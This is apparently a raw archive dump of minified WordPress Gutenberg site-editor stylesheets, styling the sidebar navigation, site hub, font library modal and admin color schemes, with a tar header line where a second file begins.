border-bottom:1px solid transparent; border-radius:0; color:#fff; display:flex; height:60px; justify-content:center; overflow:hidden; padding:0; position:relative; width:60px; } .edit-site-layout.is-full-canvas.is-edit-mode .edit-site-layout__view-mode-toggle.components-button{ border-bottom-color:#e0e0e0; transition:border-bottom-color .15s ease-out .4s; } .edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{ color:#fff; } .edit-site-layout__view-mode-toggle.components-button:focus{ box-shadow:none; } .edit-site-layout__view-mode-toggle.components-button:before{ border-radius:4px; bottom:9px; box-shadow:none; content:""; display:block; left:9px; position:absolute; right:9px; top:9px; transition:box-shadow .1s ease; } @media (prefers-reduced-motion:reduce){ .edit-site-layout__view-mode-toggle.components-button:before{ transition-delay:0s; transition-duration:0s; } } .edit-site-layout__view-mode-toggle.components-button:focus:before{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) hsla(0,0%,100%,.1), inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{ align-items:center; border-radius:2px; display:flex; height:64px; justify-content:center; width:64px; } .edit-site-layout__actions{ background:#fff; bottom:auto; color:#1e1e1e; left:0; position:fixed !important; right:auto; top:-9999em; width:280px; z-index:100000; } .edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{ bottom:0; top:auto; } .edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{ top:0; } @media (min-width:782px){ .edit-site-layout__actions{ border-right:1px solid #ddd; } .edit-site-layout.has-fixed-toolbar .edit-site-layout__canvas-container{ z-index:5; } .edit-site-layout.has-fixed-toolbar .edit-site-site-hub{ z-index:4; } } @media (min-width:782px){ .edit-site-layout.has-fixed-toolbar .edit-site-layout__header:focus-within{ z-index:3; } } .is-edit-mode.is-distraction-free .edit-site-layout__header-container{ height:60px; left:0; position:absolute; right:0; top:0; width:100%; z-index:4; } .is-edit-mode.is-distraction-free .edit-site-layout__header-container:focus-within{ opacity:1 !important; } .is-edit-mode.is-distraction-free .edit-site-layout__header-container:focus-within div{ transform:translateX(0) translateY(0) translateZ(0) !important; } .is-edit-mode.is-distraction-free .edit-site-layout__header-container:focus-within .edit-site-layout__header{ opacity:1 !important; } .is-edit-mode.is-distraction-free .edit-site-layout__header,.is-edit-mode.is-distraction-free .edit-site-site-hub{ position:absolute; top:0; z-index:2; } .is-edit-mode.is-distraction-free .edit-site-site-hub{ z-index:3; } .is-edit-mode.is-distraction-free .edit-site-layout__header{ width:100%; } .edit-site-save-hub{ border-top:1px solid #2f2f2f; color:#949494; flex-shrink:0; margin:0; padding:20px 24px; } .edit-site-save-hub__button{ color:inherit; justify-content:center; width:100%; } .edit-site-save-hub__button[aria-disabled=true]{ opacity:1; } .edit-site-save-hub__button[aria-disabled=true]:hover{ color:inherit; } @media (min-width:600px){ .edit-site-save-panel__modal{ width:600px; } } .edit-site-sidebar__content{ flex-grow:1; overflow-y:auto; } .edit-site-sidebar__content .components-navigator-screen{ display:flex; flex-direction:column; height:100%; scrollbar-color:transparent transparent; scrollbar-gutter:stable both-edges; scrollbar-gutter:stable; scrollbar-width:thin; will-change:transform; } .edit-site-sidebar__content .components-navigator-screen::-webkit-scrollbar{ height:12px; width:12px; } .edit-site-sidebar__content .components-navigator-screen::-webkit-scrollbar-track{ background-color:transparent; } .edit-site-sidebar__content .components-navigator-screen::-webkit-scrollbar-thumb{ background-clip:padding-box; background-color:transparent; border:3px solid transparent; border-radius:8px; } .edit-site-sidebar__content .components-navigator-screen:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__content .components-navigator-screen:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__content .components-navigator-screen:hover::-webkit-scrollbar-thumb{ background-color:#757575; } .edit-site-sidebar__content .components-navigator-screen:focus,.edit-site-sidebar__content .components-navigator-screen:focus-within,.edit-site-sidebar__content .components-navigator-screen:hover{ scrollbar-color:#757575 transparent; } @media (hover:none){ .edit-site-sidebar__content .components-navigator-screen{ scrollbar-color:#757575 transparent; } } .edit-site-sidebar__footer{ border-top:1px solid #2f2f2f; flex-shrink:0; margin:0 24px; padding:24px 0; } .edit-site-sidebar__content>div{ padding:0 12px; } .edit-site-sidebar-button{ color:#e0e0e0; flex-shrink:0; } .edit-site-sidebar-button:focus:not(:disabled){ box-shadow:none; outline:none; } .edit-site-sidebar-button:focus-visible:not(:disabled){ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba)); outline:3px solid transparent; } .edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover,.edit-site-sidebar-button:not([aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{ color:#f0f0f0; } .edit-site-sidebar-navigation-item.components-item{ border:none; border-radius:2px; color:#949494; min-height:40px; padding:8px 16px 8px 6px; } .edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current]{ background:#2f2f2f; color:#e0e0e0; } .edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current] .edit-site-sidebar-navigation-item__drilldown-indicator{ fill:#e0e0e0; } .edit-site-sidebar-navigation-item.components-item[aria-current]{ background:var(--wp-admin-theme-color); color:#fff; } .edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{ fill:#949494; } .edit-site-sidebar-navigation-item.components-item.with-suffix{ padding-left:16px; } .edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{ cursor:grab; padding:8px; } .edit-site-sidebar-navigation-screen{ display:flex; flex-direction:column; overflow-x:unset !important; position:relative; } .edit-site-sidebar-navigation-screen__main{ flex-grow:1; margin-bottom:16px; } .edit-site-sidebar-navigation-screen__main.has-footer{ margin-bottom:0; } .edit-site-sidebar-navigation-screen__content{ padding:0 16px; } .edit-site-sidebar-navigation-screen__content .components-item-group{ margin-left:-16px; margin-right:-16px; } .edit-site-sidebar-navigation-screen__content .components-text{ color:#ccc; } .edit-site-sidebar-navigation-screen__content .components-heading{ margin-bottom:8px; } .edit-site-sidebar-navigation-screen__meta{ color:#ccc; margin:0 16px 16px 0; } .edit-site-sidebar-navigation-screen__meta .components-text{ color:#ccc; } .edit-site-sidebar-navigation-screen__page-link{ color:#949494; display:inline-block; } .edit-site-sidebar-navigation-screen__page-link:focus,.edit-site-sidebar-navigation-screen__page-link:hover{ color:#fff; } .edit-site-sidebar-navigation-screen__page-link .components-external-link__icon{ margin-right:4px; } .edit-site-sidebar-navigation-screen__title-icon{ background:#1e1e1e; margin-bottom:8px; padding-bottom:8px; padding-top:108px; position:sticky; top:0; z-index:1; } .edit-site-sidebar-navigation-screen__title{ flex-grow:1; overflow-wrap:break-word; padding:6px 0 0; } .edit-site-sidebar-navigation-screen__actions{ flex-shrink:0; } @media (min-width:782px){ .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container{ max-width:292px; } } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item-preview{ box-shadow:0 0 0 1px #1e1e1e; } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{ box-shadow:0 0 0 1px #f0f0f0; } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{ box-shadow:0 0 0 1px var(--wp-admin-theme-color); } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-site-sidebar-navigation-screen__footer{ background-color:#1e1e1e; border-top:1px solid #2f2f2f; bottom:0; gap:0; margin:16px 0 0; padding:16px 0; position:sticky; } .edit-site-sidebar__notice{ background:#2f2f2f; color:#ddd; margin:24px 0; } .edit-site-sidebar__notice.is-dismissible{ padding-left:8px; } .edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]){ color:#ccc; } .edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{ color:#fff; } .edit-site-sidebar-navigation-screen__input-control{ width:100%; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__container{ background:#2f2f2f; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{ color:#e0e0e0 !important; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__input{ background:#2f2f2f !important; border-radius:2px; color:#e0e0e0 !important; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{ border:4px !important; } .edit-site-sidebar-navigation-screen__input-control .components-base-control__help{ color:#949494; } .edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{ background:none; } .edit-site-sidebar-navigation-screen-details-footer .edit-site-sidebar-navigation-screen-details-footer__icon{ fill:#949494; margin-right:auto; } .sidebar-navigation__more-menu .components-button{ color:#e0e0e0; } .sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{ color:#f0f0f0; } .edit-site-sidebar-navigation-screen-page__featured-image-wrapper{ background-color:#2f2f2f; border-radius:4px; margin-bottom:16px; min-height:128px; } .edit-site-sidebar-navigation-screen-page__featured-image{ align-items:center; background-position:50% 50%; background-size:cover; border-radius:2px; color:#949494; display:flex; height:128px; justify-content:center; overflow:hidden; width:100%; } .edit-site-sidebar-navigation-screen-page__featured-image img{ height:100%; object-fit:cover; object-position:50% 50%; width:100%; } .edit-site-sidebar-navigation-screen-page__featured-image-description{ font-size:12px; } .edit-site-sidebar-navigation-screen-page__excerpt{ font-size:12px; margin-bottom:24px; } .edit-site-sidebar-navigation-screen-page__modified{ color:#949494; margin:0 16px 16px 0; } .edit-site-sidebar-navigation-screen-page__modified .components-text{ color:#949494; } .edit-site-sidebar-navigation-screen-page__status{ display:inline-flex; } .edit-site-sidebar-navigation-screen-page__status time{ display:contents; } .edit-site-sidebar-navigation-screen-page__status svg{ fill:#f0b849; height:16px; margin-left:8px; width:16px; } .edit-site-sidebar-navigation-screen-page__status.has-future-status svg,.edit-site-sidebar-navigation-screen-page__status.has-publish-status svg{ fill:#4ab866; } .edit-site-sidebar-navigation-details-screen-panel{ margin:24px 0; } .edit-site-sidebar-navigation-details-screen-panel:last-of-type{ margin-bottom:0; } .edit-site-sidebar-navigation-details-screen-panel .edit-site-sidebar-navigation-details-screen-panel__heading{ color:#ccc; font-size:11px; font-weight:500; margin-bottom:0; padding:0; text-transform:uppercase; } .edit-site-sidebar-navigation-details-screen-panel__label.edit-site-sidebar-navigation-details-screen-panel__label{ color:#949494; flex-shrink:0; width:100px; } .edit-site-sidebar-navigation-details-screen-panel__value.edit-site-sidebar-navigation-details-screen-panel__value{ color:#e0e0e0; } .edit-site-sidebar-navigation-screen-pattern__added-by-description{ align-items:center; display:flex; justify-content:space-between; margin-top:24px; } .edit-site-sidebar-navigation-screen-pattern__added-by-description-author{ align-items:center; display:inline-flex; } .edit-site-sidebar-navigation-screen-pattern__added-by-description-author img{ border-radius:12px; } .edit-site-sidebar-navigation-screen-pattern__added-by-description-author svg{ fill:#949494; } .edit-site-sidebar-navigation-screen-pattern__added-by-description-author-icon{ height:24px; margin-left:8px; width:24px; } .edit-site-sidebar-navigation-screen-patterns__group{ margin-bottom:24px; } .edit-site-sidebar-navigation-screen-patterns__group:last-of-type{ border-bottom:0; margin-bottom:0; padding-bottom:0; } .edit-site-sidebar-navigation-screen-patterns__group-header{ margin-top:16px; } .edit-site-sidebar-navigation-screen-patterns__group-header p{ color:#949494; } .edit-site-sidebar-navigation-screen-patterns__group-header h2{ font-size:11px; font-weight:500; text-transform:uppercase; } .edit-site-sidebar-navigation-screen-template__added-by-description{ align-items:center; display:flex; justify-content:space-between; margin-top:24px; } .edit-site-sidebar-navigation-screen-template__added-by-description-author{ align-items:center; display:inline-flex; } .edit-site-sidebar-navigation-screen-template__added-by-description-author img{ border-radius:12px; } .edit-site-sidebar-navigation-screen-template__added-by-description-author svg{ fill:#949494; } .edit-site-sidebar-navigation-screen-template__added-by-description-author-icon{ height:24px; margin-left:8px; width:24px; } .edit-site-sidebar-navigation-screen-template__template-area-button{ align-items:center; border-radius:4px; color:#fff; display:flex; flex-wrap:nowrap; width:100%; } .edit-site-sidebar-navigation-screen-template__template-area-button:focus,.edit-site-sidebar-navigation-screen-template__template-area-button:hover{ background:#2f2f2f; color:#fff; } .edit-site-sidebar-navigation-screen-template__template-area-label-text{ flex-grow:1; margin:0 4px 0 16px; } .edit-site-sidebar-navigation-screen-template__template-icon{ display:flex; } .edit-site-site-hub{ align-items:center; display:flex; gap:8px; justify-content:space-between; } .edit-site-site-hub .edit-site-site-hub__container{ gap:0; } .edit-site-site-hub .edit-site-site-hub__site-title,.edit-site-site-hub .edit-site-site-hub_toggle-command-center{ transition:opacity .1s ease; } .edit-site-site-hub .edit-site-site-hub__site-title.is-transparent,.edit-site-site-hub .edit-site-site-hub_toggle-command-center.is-transparent{ opacity:0 !important; } .edit-site-site-hub .edit-site-site-hub__site-view-link{ flex-grow:0; margin-left:var(--wp-admin-border-width-focus); } @media (min-width:480px){ .edit-site-site-hub .edit-site-site-hub__site-view-link{ opacity:0; transition:opacity .2s ease-in-out; } } .edit-site-site-hub .edit-site-site-hub__site-view-link:focus{ opacity:1; } .edit-site-site-hub .edit-site-site-hub__site-view-link svg{ fill:#e0e0e0; } .edit-site-site-hub:hover .edit-site-site-hub__site-view-link{ opacity:1; } .edit-site-site-hub__post-type{ opacity:.6; } .edit-site-site-hub__view-mode-toggle-container{ background:#1e1e1e; flex-shrink:0; height:60px; width:60px; } .edit-site-site-hub__view-mode-toggle-container.has-transparent-background{ background:transparent; } .edit-site-site-hub__text-content{ overflow:hidden; } .edit-site-site-hub__title{ overflow:hidden; text-overflow:ellipsis; white-space:nowrap; } .edit-site-site-hub__site-title{ color:#e0e0e0; flex-grow:1; margin-right:4px; } .edit-site-site-hub_toggle-command-center{ color:#e0e0e0; } .edit-site-site-hub_toggle-command-center:hover{ color:#f0f0f0; } .edit-site-sidebar-navigation-screen__description{ margin:0 0 32px; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf{ border-radius:2px; max-width:calc(100% - 4px); } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf[aria-current]{ background:#2f2f2f; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block__menu{ margin-right:-8px; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected>td{ background:transparent; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents{ color:inherit; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:not(:hover) .block-editor-list-view-block__menu{ opacity:0; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover{ color:#fff; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus .block-editor-list-view-block__menu-cell,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover .block-editor-list-view-block__menu-cell{ opacity:1; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){ background:transparent; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch):hover{ background:#2f2f2f; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block__contents-cell{ width:100%; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{ white-space:normal; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{ margin-top:3px; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{ padding-left:0; } .edit-site-sidebar-navigation-screen-navigation-menus__content .components-button{ color:#949494; } .edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button[aria-current]{ color:#fff; } .edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{ display:block; margin-left:auto; margin-right:auto; } .edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{ display:none; } .edit-site-site-icon__icon{ fill:currentColor; } .edit-site-site-icon__image{ background:#333; border-radius:4px; height:auto; object-fit:cover; width:100%; } .edit-site-layout.is-full-canvas.is-edit-mode .edit-site-site-icon__image{ border-radius:0; } .edit-site-style-book{ height:100%; } .edit-site-style-book.is-button,.edit-site-style-book__iframe.is-button{ border-radius:8px; } .edit-site-style-book__iframe.is-focused{ outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color); outline-offset:calc(var(--wp-admin-border-width-focus)*-2); } .edit-site-style-book__tab-panel .components-tab-panel__tabs{ background:#fff; color:#1e1e1e; } .edit-site-style-book__tab-panel .components-tab-panel__tab-content{ bottom:0; left:0; overflow:auto; padding:0; position:absolute; right:0; top:48px; } .edit-site-editor-canvas-container{ background:#fff; border-radius:2px; bottom:0; left:0; overflow:hidden; position:absolute; right:0; top:0; transition:all .3s; } .edit-site-editor-canvas-container__close-button{ background:#fff; left:8px; position:absolute; top:6px; z-index:1; } .edit-site-resizable-frame__inner{ position:relative; } body:has(.edit-site-resizable-frame__inner.is-resizing){ cursor:col-resize; user-select:none; -webkit-user-select:none; } .edit-site-resizable-frame__inner.is-resizing:before{ content:""; inset:0; position:absolute; z-index:1; } .edit-site-resizable-frame__inner-content{ inset:0; position:absolute; z-index:0; } .edit-site-resizable-frame__handle{ align-items:center; background-color:hsla(0,0%,46%,.4); border:0; border-radius:4px; cursor:col-resize; display:flex; height:64px; justify-content:flex-end; padding:0; position:absolute; top:calc(50% - 32px); width:4px; z-index:100; } .edit-site-resizable-frame__handle:before{ content:""; height:100%; position:absolute; right:100%; width:32px; } .edit-site-resizable-frame__handle:after{ content:""; height:100%; left:100%; position:absolute; width:32px; } .edit-site-resizable-frame__handle:focus-visible{ outline:2px solid transparent; } .edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{ background-color:var(--wp-admin-theme-color); } .edit-site-push-changes-to-global-styles-control .components-button{ justify-content:center; width:100%; } @media (min-width:782px){ .font-library-modal.font-library-modal{ width:65vw; } } .font-library-modal .components-modal__header{ border-bottom:none; } .font-library-modal .components-modal__content{ padding-top:0; } .font-library-modal .font-library-modal__subtitle{ font-size:11px; font-weight:500; text-transform:uppercase; } .font-library-modal__tab-layout main{ padding-bottom:4rem; } .font-library-modal__tab-layout footer{ background-color:#fff; border-top:1px solid #e5e5e5; bottom:32px; margin:0 -32px -32px; padding:16px 32px; position:absolute; width:100%; } .font-library-modal__fonts-grid .font-library-modal__fonts-grid__main{ display:flex; flex-direction:column; } .font-library-modal__font-card{ border:1px solid #e5e5e5; height:auto; margin-top:-1px; padding:1rem; } .font-library-modal__font-card .font-library-modal__font-card__name{ font-weight:700; } .font-library-modal__font-card .font-library-modal__font-card__count{ color:#6e6e6e; } .font-library-modal__library-font-variant{ border:1px solid #e5e5e5; margin-top:-1px; padding:1rem; } .font-library-modal__font-variant{ border-bottom:1px solid #e5e5e5; padding-bottom:1rem; } .font-library-modal__tab-panel [role=tablist]{ background:#fff; border-bottom:1px solid #e6e6e6; margin:0 -32px; padding:0 16px; position:sticky; top:0; width:calc(100% + 64px); z-index:1; } .font-library-modal__upload-area{ align-items:center; background-color:#f0f0f0; display:flex; height:250px; justify-content:center; width:100%; } .font-library-modal__local-fonts{ margin:0 auto; width:80%; } .font-library-modal__local-fonts .font-library-modal__upload-area__text{ color:#6e6e6e; } .font-library-modal__local-fonts .font-library-modal__upload-area__notice{ margin:0; } .font-library-modal__font-name{ font-weight:700; } .font-library-modal__font-filename{ color:#6e6e6e; } .font-library-modal__font-variant_demo-wrapper{ overflow:hidden; position:relative; white-space:nowrap; width:100%; } .font-library-modal__font-variant_demo-wrapper:after{ background:linear-gradient(270deg, hsla(0,0%,100%,0), #fff); bottom:0; content:""; height:100%; left:0; position:absolute; width:30vw; } .font-library__google-fonts-confirm{ align-items:center; display:flex; justify-content:center; } .font-library__google-fonts-confirm h3{ font-size:1.4rem; } .font-library__google-fonts-confirm .components-card{ max-width:350px; min-width:250px; width:50%; } .font-library-modal__font-collection__notice{ margin:0; } body.js #wpadminbar{ display:none; } body.js #wpbody{ padding-top:0; } body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{ background:#fff; } body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{ padding-right:0; } body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{ padding-bottom:0; } body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{ display:none; } body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{ right:-1px; top:-1px; } body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{ border-left-color:#fff; } body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{ max-width:100%; width:auto; } body.js.site-editor-php{ background:#1e1e1e; } .components-modal__frame,.edit-site{ box-sizing:border-box; } .components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before,.edit-site *,.edit-site :after,.edit-site :before{ box-sizing:inherit; } .edit-site{ height:100vh; } @media (min-width:600px){ .edit-site{ bottom:0; left:0; min-height:100vh; position:fixed; right:0; top:0; } } .no-js .edit-site{ min-height:0; position:static; } .edit-site .interface-interface-skeleton{ top:0; } .edit-site .interface-complementary-area__pin-unpin-item.components-button{ display:none; } .edit-site .interface-interface-skeleton__content{ background-color:#1e1e1e; } @keyframes edit-post__fade-in-animation{ 0%{ opacity:0; } to{ opacity:1; } } body.admin-color-light{ --wp-admin-theme-color:#0085ba; --wp-admin-theme-color--rgb:0, 133, 186; --wp-admin-theme-color-darker-10:#0073a1; --wp-admin-theme-color-darker-10--rgb:0, 115, 161; --wp-admin-theme-color-darker-20:#006187; --wp-admin-theme-color-darker-20--rgb:0, 97, 135; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-light{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-modern{ --wp-admin-theme-color:#3858e9; --wp-admin-theme-color--rgb:56, 88, 233; --wp-admin-theme-color-darker-10:#2145e6; --wp-admin-theme-color-darker-10--rgb:33, 69, 230; --wp-admin-theme-color-darker-20:#183ad6; --wp-admin-theme-color-darker-20--rgb:24, 58, 214; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-modern{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-blue{ --wp-admin-theme-color:#096484; --wp-admin-theme-color--rgb:9, 100, 132; --wp-admin-theme-color-darker-10:#07526c; --wp-admin-theme-color-darker-10--rgb:7, 82, 108; --wp-admin-theme-color-darker-20:#064054; --wp-admin-theme-color-darker-20--rgb:6, 64, 84; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-blue{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-coffee{ --wp-admin-theme-color:#46403c; --wp-admin-theme-color--rgb:70, 64, 60; --wp-admin-theme-color-darker-10:#383330; --wp-admin-theme-color-darker-10--rgb:56, 51, 48; --wp-admin-theme-color-darker-20:#2b2724; --wp-admin-theme-color-darker-20--rgb:43, 39, 36; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-coffee{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ectoplasm{ --wp-admin-theme-color:#523f6d; --wp-admin-theme-color--rgb:82, 63, 109; --wp-admin-theme-color-darker-10:#46365d; --wp-admin-theme-color-darker-10--rgb:70, 54, 93; --wp-admin-theme-color-darker-20:#3a2c4d; --wp-admin-theme-color-darker-20--rgb:58, 44, 77; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ectoplasm{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-midnight{ --wp-admin-theme-color:#e14d43; --wp-admin-theme-color--rgb:225, 77, 67; --wp-admin-theme-color-darker-10:#dd382d; --wp-admin-theme-color-darker-10--rgb:221, 56, 45; --wp-admin-theme-color-darker-20:#d02c21; --wp-admin-theme-color-darker-20--rgb:208, 44, 33; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-midnight{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ocean{ --wp-admin-theme-color:#627c83; --wp-admin-theme-color--rgb:98, 124, 131; --wp-admin-theme-color-darker-10:#576e74; --wp-admin-theme-color-darker-10--rgb:87, 110, 116; --wp-admin-theme-color-darker-20:#4c6066; --wp-admin-theme-color-darker-20--rgb:76, 96, 102; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ocean{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-sunrise{ --wp-admin-theme-color:#dd823b; --wp-admin-theme-color--rgb:221, 130, 59; --wp-admin-theme-color-darker-10:#d97426; --wp-admin-theme-color-darker-10--rgb:217, 116, 38; --wp-admin-theme-color-darker-20:#c36922; --wp-admin-theme-color-darker-20--rgb:195, 105, 34; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-sunrise{ --wp-admin-border-width-focus:1.5px; } }css/dist/edit-site/style.css000064400000316473151202620300012045 0ustar00:root{ --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 161; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } .components-panel__header.interface-complementary-area-header__small{ background:#fff; padding-right:4px; } .components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{ overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:100%; } @media (min-width:782px){ .components-panel__header.interface-complementary-area-header__small{ display:none; } } .interface-complementary-area-header{ background:#fff; padding-right:4px; } .interface-complementary-area-header .components-button.has-icon{ display:none; margin-left:auto; } .interface-complementary-area-header .components-button.has-icon~.components-button{ margin-left:0; } @media (min-width:782px){ .interface-complementary-area-header .components-button.has-icon{ display:flex; } .components-panel__header+.interface-complementary-area-header{ margin-top:0; } } .interface-complementary-area{ background:#fff; color:#1e1e1e; } @media (min-width:600px){ .interface-complementary-area{ -webkit-overflow-scrolling:touch; } } @media (min-width:782px){ .interface-complementary-area{ width:280px; } } .interface-complementary-area .components-panel{ border:none; position:relative; z-index:0; } .interface-complementary-area .components-panel__header{ position:sticky; top:0; z-index:1; } .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{ top:48px; } @media (min-width:782px){ .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{ top:0; } } .interface-complementary-area p:not(.components-base-control__help){ margin-top:0; } .interface-complementary-area h2{ color:#1e1e1e; font-size:13px; margin-bottom:1.5em; } .interface-complementary-area h3{ color:#1e1e1e; 